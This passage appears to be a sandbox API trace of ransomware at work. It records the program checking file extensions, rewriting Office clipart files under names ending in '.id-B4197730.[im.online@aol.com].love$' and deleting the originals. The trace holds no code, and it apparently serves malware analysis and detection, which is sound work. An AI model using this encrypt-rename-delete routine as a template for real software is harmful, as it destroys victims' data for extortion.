(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.027] lstrlenW (lpString=".ppt") returned 4 [0123.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.027] lstrlenW (lpString=".zip") returned 4 [0123.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.027] lstrlenW (lpString=".rar") returned 4 [0123.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString=".bz2") returned 4 [0123.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString=".7z") returned 3 [0123.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.027] lstrlenW (lpString=".dbf") returned 4 [0123.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.028] lstrlenW (lpString=".1cd") returned 4 [0123.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.028] lstrlenW (lpString=".jpg") returned 4 [0123.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.028] lstrlenW (lpString=".doc") returned 4 [0123.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString=".docx") returned 5 [0123.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.028] lstrlenW (lpString=".pdf") returned 4 [0123.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString=".xls") returned 4 [0123.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.028] lstrlenW (lpString=".xlsx") returned 5 [0123.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.028] lstrlenW (lpString=".ppt") returned 4 [0123.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.028] lstrlenW (lpString=".zip") returned 4 [0123.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.028] lstrlenW (lpString=".rar") returned 4 [0123.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.028] lstrlenW (lpString=".bz2") returned 4 [0123.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.029] lstrlenW (lpString=".7z") returned 3 [0123.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.029] lstrlenW (lpString=".dbf") returned 4 [0123.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.029] lstrlenW (lpString=".1cd") returned 4 [0123.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0123.029] lstrlenW (lpString=".jpg") returned 4 [0123.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.029] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.029] lstrlenW (lpString="BD19828_.WMF") returned 12 [0123.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.421] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8772) returned 1 [0123.421] CloseHandle (hObject=0x3a0) returned 1 [0123.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x220 [0123.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.421] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.421] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.423] GetLastError () returned 0x0 [0123.423] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2244, lpOverlapped=0x0) returned 1 [0123.450] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2250, lpOverlapped=0x0) returned 1 [0123.452] ReadFile (in: hFile=0x3a0, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.452] WriteFile (in: hFile=0x344, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.452] SetEndOfFile (hFile=0x344) returned 1 [0123.452] CloseHandle (hObject=0x344) returned 1 [0123.457] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.457] SetEndOfFile (hFile=0x3a0) returned 1 [0123.458] CloseHandle (hObject=0x3a0) returned 1 [0123.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0123.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.459] lstrlenW (lpString=".doc") returned 4 [0123.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.459] lstrlenW (lpString=".docx") returned 5 [0123.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.459] lstrlenW (lpString=".pdf") returned 4 [0123.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.459] lstrlenW (lpString=".xls") returned 4 [0123.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.459] lstrlenW (lpString=".xlsx") returned 5 [0123.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.459] lstrlenW (lpString=".ppt") returned 4 [0123.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.459] lstrlenW (lpString=".zip") returned 4 [0123.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.460] lstrlenW (lpString=".rar") returned 4 [0123.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString=".bz2") returned 4 [0123.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString=".7z") returned 3 [0123.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.460] lstrlenW (lpString=".dbf") returned 4 [0123.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.460] lstrlenW (lpString=".1cd") returned 4 [0123.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.460] lstrlenW (lpString=".jpg") returned 4 [0123.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.460] lstrlenW (lpString=".doc") returned 4 [0123.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString=".docx") returned 5 [0123.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.460] lstrlenW (lpString=".pdf") returned 4 [0123.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.460] lstrlenW (lpString=".xls") returned 4 [0123.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.460] lstrlenW (lpString=".xlsx") returned 5 [0123.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.461] lstrlenW (lpString=".ppt") returned 4 [0123.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.461] lstrlenW (lpString=".zip") returned 4 [0123.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.461] lstrlenW (lpString=".rar") returned 4 [0123.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.461] lstrlenW (lpString=".bz2") returned 4 [0123.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.461] lstrlenW (lpString=".7z") returned 3 [0123.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.461] lstrlenW (lpString=".dbf") returned 4 [0123.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.461] lstrlenW (lpString=".1cd") returned 4 [0123.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0123.461] lstrlenW (lpString=".jpg") returned 4 [0123.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.461] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.461] lstrlenW (lpString="BD20013_.WMF") returned 12 [0123.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.475] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11058) returned 1 [0123.475] CloseHandle (hObject=0x354) returned 1 [0123.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0123.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.476] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.476] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.479] GetLastError () returned 0x0 [0123.479] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0123.487] WriteFile (in: hFile=0x37c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0123.489] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.489] WriteFile (in: hFile=0x37c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.489] SetEndOfFile (hFile=0x37c) returned 1 [0123.490] CloseHandle (hObject=0x37c) returned 1 [0123.492] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.492] SetEndOfFile (hFile=0x354) returned 1 [0123.493] CloseHandle (hObject=0x354) returned 1 [0123.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0123.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.494] lstrlenW (lpString=".doc") returned 4 [0123.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.494] lstrlenW (lpString=".docx") returned 5 [0123.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.494] lstrlenW (lpString=".pdf") returned 4 [0123.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString=".xls") returned 4 [0123.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.495] lstrlenW (lpString=".xlsx") returned 5 [0123.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.495] lstrlenW (lpString=".ppt") returned 4 [0123.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.495] lstrlenW (lpString=".zip") returned 4 [0123.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.495] lstrlenW (lpString=".rar") returned 4 [0123.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString=".bz2") returned 4 [0123.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString=".7z") returned 3 [0123.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.495] lstrlenW (lpString=".dbf") returned 4 [0123.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.495] lstrlenW (lpString=".1cd") returned 4 [0123.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.495] lstrlenW (lpString=".jpg") returned 4 [0123.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.496] lstrlenW (lpString=".doc") returned 4 [0123.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString=".docx") returned 5 [0123.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.496] lstrlenW (lpString=".pdf") returned 4 [0123.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString=".xls") returned 4 [0123.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.496] lstrlenW (lpString=".xlsx") returned 5 [0123.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.496] lstrlenW (lpString=".ppt") returned 4 [0123.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.496] lstrlenW (lpString=".zip") returned 4 [0123.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.496] lstrlenW (lpString=".rar") returned 4 [0123.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString=".bz2") returned 4 [0123.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString=".7z") returned 3 [0123.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.496] lstrlenW (lpString=".dbf") returned 4 [0123.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.496] lstrlenW (lpString=".1cd") returned 4 [0123.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0123.496] lstrlenW (lpString=".jpg") returned 4 [0123.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.497] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.497] lstrlenW (lpString="BL00012_.WMF") returned 12 [0123.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.497] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9818) returned 1 [0123.497] CloseHandle (hObject=0x354) returned 1 [0123.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0123.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.498] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.498] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.499] GetLastError () returned 0x0 [0123.499] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x265a, lpOverlapped=0x0) returned 1 [0123.689] WriteFile (in: hFile=0x37c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2660, lpOverlapped=0x0) returned 1 [0123.690] ReadFile (in: hFile=0x354, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.690] WriteFile (in: hFile=0x37c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.690] SetEndOfFile (hFile=0x37c) returned 1 [0123.691] CloseHandle (hObject=0x37c) returned 1 [0123.692] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.692] SetEndOfFile (hFile=0x354) returned 1 [0123.693] CloseHandle (hObject=0x354) returned 1 [0123.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0123.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.693] lstrlenW (lpString=".doc") returned 4 [0123.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.693] lstrlenW (lpString=".docx") returned 5 [0123.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.693] lstrlenW (lpString=".pdf") returned 4 [0123.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString=".xls") returned 4 [0123.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.694] lstrlenW (lpString=".xlsx") returned 5 [0123.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.694] lstrlenW (lpString=".ppt") returned 4 [0123.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0123.694] lstrlenW (lpString=".zip") returned 4 [0123.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.694] lstrlenW (lpString=".rar") returned 4 [0123.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.694] lstrlenW (lpString=".bz2") returned 4 